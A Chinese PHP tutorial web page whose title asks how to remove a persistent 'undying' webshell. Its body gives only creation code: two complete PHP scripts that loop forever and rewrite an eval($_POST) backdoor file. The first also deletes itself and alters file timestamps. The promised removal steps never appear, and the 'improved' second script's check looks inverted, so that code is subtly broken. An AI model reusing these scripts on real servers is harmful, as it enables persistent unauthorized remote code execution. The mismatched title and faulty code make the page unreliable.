各类知识收集,PHP技术分享与解决方案各类知识收集,PHP技术分享与解决方案各类知识收集,PHP技术分享与解决方案

Str Tom,为分享PHP技术和解决方案,贡献一份自己的力量!
收藏本站(不迷路),每天更新好文章!
当前位置:首页 > CMS教程 > PHP

php不死马如何删除

管理员 2023-09-05
PHP
124

php不死马如何删除

内容导读

收集整理的这篇技术教程文章主要介绍了php不死马如何删除,小编现在分享给大家,供广大互联网技能从业者学习和参考。文章包含1013字,纯文字阅读大概需要2分钟

内容图文

什么是不死马?

内存马,通俗讲就是不死马,就是会运行一段永远不退出的程序常驻在PHP进程里,无限执行。

生成过程 (推荐学习:PHP视频教程)

不死马.php → 上传到server → server执行文件 → server本地无限循环生成 (一句话.php)

网上流传的不死马

<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = '2.php';$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';while (1){    file_put_contents($file,$code);    system('touch -m -d "2018-12-01 09:10:12" .2.php');    usleep(5000);} ?>

网上流传的不死马,while里面只是并没有判断了这个文件是不是存在,那么我只需要把这个文件中的shell注释掉就可以绕过你的内存木马了。

正确的姿势应该是这样 :

Copy<?php ignore_user_abort(true); set_time_limit(0); $file = 'c.php'; $code = base64_decode('PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+'); while(true) {     if(md5(file_get_contents($file))===md5($code)) {         file_put_contents($file, $code);     }     usleep(50); }?>

以上就是php不死马如何删除的详细内容,更多请关注Gxl网其它相关文章!

内容总结

以上是为您收集整理的php不死马如何删除全部内容,希望文章能够帮你解决php不死马如何删除所遇到的程序开发问题。 如果觉得技术教程内容还不错,欢迎将网站推荐给程序员好友。

内容备注

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

扫码关注

qrcode

QQ交谈

回顶部